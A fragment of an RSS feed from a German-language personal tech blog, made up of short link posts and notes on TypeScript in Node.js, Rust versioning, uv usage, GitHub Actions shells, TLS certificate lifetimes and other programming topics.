</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/12/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/12/26/1.html</guid><pubDate>Thu, 26 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://minds.md/zakirullin/cognitive&quot;&gt;Cognitive load is what matters&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/04/0.html</guid><pubDate>Sat, 04 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.totaltypescript.com/typescript-is-coming-to-node-23&quot;&gt;Matt Pocock&lt;/a&gt; hat frohe Kunde verbreitet und angekündigt, dass in der nächsten Node-Version das &quot;Strip Types&quot; nicht mehr hinter einem Flag ist. Das heißt, dass Node.js bald nativ TypeScript ausführen kann. Die Types werden einfach rausgenommen und alles wie JS interpretiert. D.h. kein TS-Compiler-Check und keine Runtime-Checks. Ersteres ist quasi nicht möglich, ohne TSC in Node.js zu integrieren. Das ist etwas doof, weil TypeScript keine Spec hat, sondern nur eine Referenzimplementierung. Runtime-Checks haben dasselbe Problen &lt;em&gt;und&lt;/em&gt; manche Typen sind in TS so komplex, dass allein das Type-Checken bspw. eines Funktionsparameters mehr Zeit in Anspruch nehmen kann, als die eigentliche Funktion. Insoweit gut, dass beides kein Teil hiervon ist.&lt;/p&gt;
&lt;p&gt;Was bei ihm aber nicht steht und was durchaus wichtig ist:&lt;/p&gt;
&lt;h2&gt;Imports müssen auf &lt;code&gt;.ts&lt;/code&gt; enden&lt;/h2&gt;
&lt;p&gt;Das geht gegen die bisherige Vorgehensweise von Node-Devs bei JS (die haben üblicherweise die Erweiterung weggelassen) und gegen die Empfehlung von TypeScript selbst (&lt;code&gt;.js&lt;/code&gt; verwenden, auch, wenn es eine &lt;code&gt;.ts&lt;/code&gt;-Datei ist). Die Empfehlung der TS-Leute ist aligned mit dem, was tatsächlich iim ESM-Standard steht. TypeScript hat bisher auch darauf verzichtet, Import-Pfade umzuschreiben.&lt;/p&gt;
&lt;p&gt;Bun hat hierfür einen Resolution-Algorithmus, der bei einem Import von &lt;code&gt;./foo&lt;/code&gt; von &lt;code&gt;./foo.js&lt;/code&gt; über &lt;code&gt;./foo.ts&lt;/code&gt; und &lt;code&gt;./foo.mts&lt;/code&gt; etc alles absucht. Hier kann es zu unerwartetem Verhalten kommen, wenn eine &lt;code&gt;./foo.js&lt;/code&gt; und eine &lt;code&gt;./foo.ts&lt;/code&gt; existiert. Aber hier ist es immerhin möglich, seine Imports zu lassen, wie sie sind. &lt;code&gt;tsx&lt;/code&gt; (ein Node-Wrapper, der ähnlich wie die jetzige Implementierung von Node-Type-Stripping funktioniert) kann das auch.&lt;/p&gt;
&lt;h2&gt;Path-Aliase&lt;/h2&gt;
&lt;p&gt;Node möchte hier jetzt &lt;code&gt;.ts&lt;/code&gt; in Imports. TypeScript hat in den sauren Apfel gebissen und 2 Compiler-Flags dafür eingebaut: &lt;a href=&quot;https://www.typescriptlang.org/tsconfig/#allowImportingTsExtensions&quot;&gt;&lt;code&gt;allowImportingTsExtensions&lt;/code&gt;&lt;/a&gt; und &lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-7/#path-rewriting-for-relative-paths&quot;&gt;&lt;code&gt;rewriteRelativeImportExtensions&lt;/code&gt;&lt;/a&gt;. Ersteres erlaubt &lt;code&gt;.ts&lt;/code&gt; in imports. Letzteres macht nach dem Kompilieren ein &lt;code&gt;.js&lt;/code&gt; aus &lt;code&gt;.ts&lt;/code&gt;. Das ist praktisch, um nach dem Kompilieren noch validen JS-Code zu haben, denn sonst würde dort in den Imports js &lt;code&gt;.ts&lt;/code&gt; stehen.&lt;/p&gt;
&lt;p&gt;Was &lt;strong&gt;nicht&lt;/strong&gt; umgeschrieben wird, sind nicht-relative imports. D. h. alle Imports, die nicht mit &lt;code&gt;./&lt;/code&gt; oder &lt;code&gt;../&lt;/code&gt; beginnen, bleiben so.&lt;/p&gt;
&lt;p&gt;Manche Projekte haben einen &lt;code&gt;&quot;#/*&quot;&lt;/code&gt;-Path-Alias, der auf das Root-Verzeichnis des Projekts zeigt. Falls ihr das habt, könnt ihr also nicht auf Node.js mit TS-Direktausführung migrieren. Dafür braucht man dann noch irgendeinen extra-loader wie bisher auch. Oder ihr benutzt Bun oder &lt;code&gt;tsx&lt;/code&gt;. Damit das funktioniert, muss Node.js die &lt;code&gt;tsconfig.json&lt;/code&gt; lesen und verarbeiten. Ich denke aktuell, dass das zu komplex wär, dass das Node-Team das umsetzt.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/nodejs/loaders/issues/214&quot;&gt;Bisher wird es auch dabei bleiben&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also insgesamt leider noch ein ferner Traum, dass man TS für bestehende Projekte einfach mit Node.js direkt ausführen kann. Dafür braucht man immer noch einen modifizierten Loader, bun, Deno, ts-node oder tsx.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/07/0.html</guid><pubDate>Tue, 07 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://tr.designtokens.org/format/&quot;&gt;Das W3C arbeitet an einem Standardformat für Design-Tokens&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/07/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/07/1.html</guid><pubDate>Tue, 07 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/dtolnay/semver-trick&quot;&gt;The SemVer trick&lt;/a&gt; löst ein ABI-Problem bei Rust. Betrifft sicher nicht nur Rust, sondern auch andere Sprachen mit nominellen Typen, die an die Version gebunden sind.&lt;/p&gt;
&lt;p&gt;Darüber hinaus frag ich mich, was Rust-Devs immer mit ihren pre-1.0-Releases haben. Es ist einfach total unpraktikabel, wenn man einem Release nicht ansieht, ob es breaking ist. Semver ist dafür da, das zu kennzeichnen. Das hat zwangsweise als Konsequenz, dass man relativ schnell bei Major-Version 600 ist. Das ist auch überhaupt nicht schlimm, aber irgendwie hab ich das Gefühl, dass viele Rust-Library-Devs sich vor der 1.0 fürchten. Stattdessen habe ich jetzt in jedem meiner Rust-Projekte 2/3 Dependencys, die pre-1.0 sind. Da ist das Updaten jedes mal ein Rätselraten.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/08/0.html</guid><pubDate>Wed, 08 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein sehr guter Post über Probleme beim Benchmarking in JavaScript: &lt;a href=&quot;https://byteofdev.com/posts/javascript-benchmarking-mess/&quot;&gt;JavaScript Benchmarking Is a Mess&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=42501532&quot;&gt;In den Kommentaren auf HN&lt;/a&gt; hat ein JSC-Entwickler noch ein paar mehr Insights gegeben, die er hatte, als er den GC, den JIT und die Runtime entwickelt hat.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/08/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/08/1.html</guid><pubDate>Wed, 08 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Chrome baut an einer neuen API, mit der man Content preloaden kann: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/speculationrules&quot;&gt;&lt;code&gt;&amp;lt;script type=&quot;speculationrules&quot;&amp;gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/10/0.html</guid><pubDate>Fri, 10 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://yoric.github.io/post/rust-refinement-types/&quot;&gt;What would it take to add refinement types to Rust?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/11/0.html</guid><pubDate>Sat, 11 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.polybdenum.com/2024/12/21/four-limitations-of-rust-s-borrow-checker.html&quot;&gt;Four limitations of Rust&apos;s borrow checker&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/11/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/11/1.html</guid><pubDate>Sat, 11 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cooler Talk über das, was alles in einem Bahn-Ticket steht, wie es aufgebaut ist und wie man sich selbst eins ausstellt: &lt;a href=&quot;https://youtu.be/N17GQJBIaiU&quot;&gt;What&apos;s inside my train ticket?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>38c3</category><category>congress</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/11/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/11/2.html</guid><pubDate>Sat, 11 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nächste Talkempfehlung: &lt;a href=&quot;https://youtu.be/nWQcgZfxkOM&quot;&gt;Find My *&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Wie AirTags, das Find-My-Network und Konsorten funktionieren.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>38c3</category><category>congress</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/12/0.html</guid><pubDate>Sun, 12 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/astral-sh/uv&quot;&gt;&lt;code&gt;uv&lt;/code&gt;&lt;/a&gt; &lt;a href=&quot;https://valatka.dev/2025/01/12/on-killer-uv-feature.html&quot;&gt;kann sowas&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv run --python 3.12 --with pandas python
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;uv hat auch ein npx-Äquivalent, das git unterstützt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uvx --from git+https://github.com/httpie/cli httpie
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;uv unterstützt auch &lt;a href=&quot;https://packaging.python.org/en/latest/specifications/inline-script-metadata/&quot;&gt;PEP 723&lt;/a&gt;, sodass man es als Shebang benutzen und die Dependencys so deklarieren kann:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env -S uv run
# /// script
# requires-python = &quot;&amp;gt;=3.12&quot;
# dependencies = [
#     &quot;pandas==2.*&quot;,
# ]
# ///

import pandas
# ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dann kann man die Datei ausführbar machen und direkt ausführen, ohne sich Gedanken um Dependencys zu machen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>python</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/13/0.html</guid><pubDate>Mon, 13 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.imperialviolet.org/tourofwebauthn/tourofwebauthn.html&quot;&gt;A Tour of WebAuthn&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/15/0.html</guid><pubDate>Wed, 15 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://fhur.me/posts/2024/thats-not-an-abstraction&quot;&gt;That&apos;s Not an Abstraction, That&apos;s Just a Layer of Indirection&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/15/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/15/1.html</guid><pubDate>Wed, 15 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Qwerty_effect&quot;&gt;The QWERTY effect&lt;/a&gt; (or qwerty effect) emphasizes ways that modern keyboard layouts have influenced human language, naming preferences and behavior.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/20/0.html</guid><pubDate>Mon, 20 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein Proposal für C (N3317): &lt;a href=&quot;https://www.open-std.org/jtc1/sc22/wg14/www/docs/n3317.htm&quot;&gt;Essential Effects for C&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/24/0.html</guid><pubDate>Fri, 24 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://hawksley.org/2025/01/08/past-present-future-of-UI-at-github.html&quot;&gt;The Past, Present, and Future of UI at GitHub&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/24/1.html</guid><pubDate>Fri, 24 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus dem vorherigen Post noch: &lt;a href=&quot;https://www.keithcirkel.co.uk/100-patches-to-5-browsers-in-18-months/&quot;&gt;100 patches to 5 browsers in 18 months&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/25/0.html</guid><pubDate>Sat, 25 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://openheart.fyi&quot;&gt;Open Heart Protocol&lt;/a&gt;: The Open Heart protocol lets an anonymous user sends an emoji reaction to a URL.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/25/1.html</guid><pubDate>Sat, 25 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/webmention&quot;&gt;Webmention&lt;/a&gt; is a simple way to notify any URL when you mention it on your site. From the receiver&apos;s perspective, it&apos;s a way to request notifications when other sites mention it.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/28/0.html</guid><pubDate>Tue, 28 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt einen Draft, um eine HTTP-API als deprecated zu markieren: &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-httpapi-deprecation-header/09/&quot;&gt;The Deprecation HTTP Header Field&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Baut auf &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc8594.html&quot;&gt;RFC8594&lt;/a&gt; auf, mit dem man bereits singalisieren konnte, wann eine HTTP-API abgeschaltet wird.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>api-design</category><category>http</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/01/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/01/29/0.html</guid><pubDate>Wed, 29 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-8-beta/&quot;&gt;TypeScript 5.8 Beta&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/02/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/02/12/0.html</guid><pubDate>Wed, 12 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://paulbutler.org/2025/smuggling-arbitrary-data-through-an-emoji/&quot;&gt;Smuggling arbitrary data through an emoji&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/02/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/02/19/0.html</guid><pubDate>Wed, 19 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TUI-Ping mit History-Plot: &lt;a href=&quot;https://github.com/hanshuaikang/Nping&quot;&gt;Nping&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/02/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/02/19/1.html</guid><pubDate>Wed, 19 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://langdev.stackexchange.com/questions/4325/how-do-modern-compilers-choose-which-variables-to-put-in-registers&quot;&gt;How do modern compilers choose which variables to put in registers&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/02/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/02/24/0.html</guid><pubDate>Mon, 24 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;ip&lt;/code&gt; kann JSON ausgeben: &lt;code&gt;ip -j a&lt;/code&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/02/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/02/25/0.html</guid><pubDate>Tue, 25 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;.NET 10 ist in der ersten preview erschienen. Changelogs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/core/whats-new/dotnet-10/overview&quot;&gt;.NET 10&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/csharp/whats-new/csharp-14&quot;&gt;C# 14&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/02/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/02/25/1.html</guid><pubDate>Tue, 25 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.gitbutler.com/how-git-core-devs-configure-git/&quot;&gt;How Core Git Developers Configure Git&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/03/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/03/09/0.html</guid><pubDate>Sun, 09 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://pippinbarr.com/it-is-as-if-you-were-on-your-phone/info/&quot;&gt;It is as if you were on your phone&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/03/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/03/11/0.html</guid><pubDate>Tue, 11 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/typescript-native-port/&quot;&gt;Microsoft portiert den TypeScript-Compiler in eine native Sprache&lt;/a&gt;. Das ist echt eine Mammutaufgabe. Sie benutzen Go.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/microsoft/typescript-go&quot;&gt;Hier&lt;/a&gt; ist das Repo. Titel ist &quot;TypeScript 7&quot;. Da wir aktuell bei Version 5 sind, ist damit wohl klar, was sie für einen Zeitplan für die Fertigstellung haben.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/03/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/03/12/0.html</guid><pubDate>Wed, 12 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://bret.io/blog/2025/i-love-monorepos/&quot;&gt;I Love Monorepos—Except When They Are Annoying&lt;/a&gt;. Ich habe fast alles davon selbst schon erlebt oder wurde davon genervt. Der Artikel fasst es ziemlich gut zusammen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/03/12/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/03/12/1.html</guid><pubDate>Wed, 12 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://i18n-puzzles.com/&quot;&gt;Internationalization-puzzles: Daily programming puzzles just like Advent of Code&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/04/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/04/10/0.html</guid><pubDate>Thu, 10 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://peps.python.org/pep-0750/&quot;&gt;PEP 750 – Template Strings (t-strings) have been accepted&lt;/a&gt;. Damit hat Python jetzt auch sowas wie tagged template functions aus JS.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>python</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/04/10/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/04/10/1.html</guid><pubDate>Thu, 10 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://yossarian.net/til/post/any-program-can-be-a-github-actions-shell/&quot;&gt;Any program can be a GitHub Actions shell&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Man kann damit auch Parameter von Bash setzen. Hier global als Default:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;defaults:
  run:
    shell: bash -euxo pipefail {0}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/04/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/04/16/0.html</guid><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://filiph.github.io/unsure/&quot;&gt;Unsure Calculator – back-of-a-napkin probabilistic calculator&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/04/16/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/04/16/1.html</guid><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bun hat neulich ja einen S3-Client eingebaut (ich habe übrigens auch gerade einen &lt;a href=&quot;https://github.com/nikeee/lean-s3&quot;&gt;veröffentlicht&lt;/a&gt;). Jetzt haben sie auch noch einen &lt;a href=&quot;https://bun.sh/blog/bun-v1.2.9#bun-redis-is-bun-s-builtin-redis-client&quot;&gt;Redis-Client dazu gelegt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>bun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/04/16/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/04/16/2.html</guid><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://spidermonkey.dev/blog/2025/04/11/shipping-temporal.html&quot;&gt;Firefox 139 shippt mit Temporal per default eingeschaltet&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/04/16/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/04/16/3.html</guid><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.digicert.com/blog/tls-certificate-lifetimes-will-officially-reduce-to-47-days&quot;&gt;TLS Certificate Lifetimes Will Officially Reduce to 47 Days&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;From today until March 15, 2026, the maximum lifetime for a &lt;a href=&quot;https://www.digicert.com/tls-ssl/tls-ssl-certificates&quot;&gt;TLS certificate&lt;/a&gt; is 398 days.
As of March 15, 2026, the maximum lifetime for a TLS certificate will be 200 days.
As of March 15, 2027, the maximum lifetime for a TLS certificate will be 100 days.
As of March 15, 2029, the maximum lifetime for a TLS certificate will be 47 days.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Damit wird die Automatisierung der Zertifikatserneuerung quasi erzwungen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/04/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/04/20/0.html</guid><pubDate>Sun, 20 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://matklad.github.io/2025/04/19/things-zig-comptime-wont-do.html&quot;&gt;Things Zig comptime Won’t Do&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>zig</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/04/20/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/04/20/1.html</guid><pubDate>Sun, 20 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://whichyr.com&quot;&gt;Which year: guess which year each photo was taken&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cooles Spiel. Hat was von Geoguessr.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/04/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/04/22/0.html</guid><pubDate>Tue, 22 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://uwplse.org/2025/03/31/Algebraic-Knitting.html&quot;&gt;Algebraic Semantics for Machine Knitting&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/01/0.html</guid><pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Noch ein weiterer Post über Strings in Programmiersprachen: &lt;a href=&quot;https://adam-p.ca/blog/2025/04/string-length&quot;&gt;The best – but not good – way to limit string length&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/02/0.html</guid><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://inside.java/2025/05/01/strings-just-got-faster/&quot;&gt;Strings Just Got Faster&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/02/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/02/1.html</guid><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.jtolio.com/2016/03/go-channels-are-bad-and-you-should-feel-bad/&quot;&gt;Go channels are bad and you should feel bad&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/02/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/02/2.html</guid><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://alexwlchan.net/2025/copying-sqlite-databases/&quot;&gt;A faster way to copy SQLite databases between computers&lt;/a&gt;.&lt;/p&gt;
